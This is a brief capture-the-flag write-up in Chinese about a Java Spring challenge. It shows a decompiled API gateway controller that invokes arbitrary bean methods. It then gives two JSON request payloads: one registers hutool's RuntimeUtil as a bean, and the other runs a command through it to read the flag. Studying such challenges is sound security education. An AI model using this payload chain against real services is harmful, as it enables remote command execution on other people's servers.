java,打开 jar 包可以看到代码,找到一个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 @RequestMapping({"/api"}) @Controller _/* loaded from: SigninJava.jar:BOOT-INF/classes/icu/Liki4/signin/controller/APIGatewayController.class */_ **public** **class** APIGatewayController { @RequestMapping(value = {"/gateway"}, method = {RequestMethod.POST}) @ResponseBody **public** BaseResponse doPost(HttpServletRequest request) **throws** Exception { **try** { String body = IOUtils.toString(request.getReader()); Map<String, Object> map = (Map) JSON.parseObject(body, Map.**class**); String beanName = (String) map.get("beanName"); String methodName = (String) map.get(JsonEncoder.METHOD_NAME_ATTR_NAME); Map<String, Object> params = (Map) map.get("params"); **if** (StrUtil.containsAnyIgnoreCase(beanName, "flag")) { **return** **new** BaseResponse(403, "flagTestService offline", **null**); } Object result = InvokeUtils.invokeBeanMethod(beanName, methodName, params); **return** **new** BaseResponse(200, **null**, result); } **catch** (Exception e) { **return** **new** BaseResponse(500, ((Throwable) Objects.requireNonNullElse(e.getCause(), e)).getMessage(), **null**); } } }
dopost 中接受数据,通过 InvokeUtils.invokeBeanMethod 调用指定的 Bean 方法
查看 hutool 的文档,发现其中有一个 RuntimeUtil,其中提供了命令执行方法,但是,只有注册到 Spring 容器中的 Bean 才能被 Spring 管理,并通过依赖注入的方式使用,而 RuntimeUtil 本身并不是一个 Spring Bean,因此需要通过动态注册将其加入 Spring 容器
因此,我们需要先调用 cn.hutool.extra.spring.SpringUtil 中的 registerBean 方法来向容器中添加 RuntimeUtil 实例名不可带有 flag
构造请求体
1 { "beanName" : "cn.hutool.extra.spring.SpringUtil" , "methodName" : "registerBean" , "params" : { "arg0" : "execCmd" , "arg1" : { "@type" : "cn.hutool.core.util.RuntimeUtil" } } }
在调用 execCmd
1 2 {"beanName":"execCmd","methodName":"execForStr", "params":{"arg0":"utf-8","arg1":["/readflag"]}}
这里/flag 被加权限了,不能直接 cat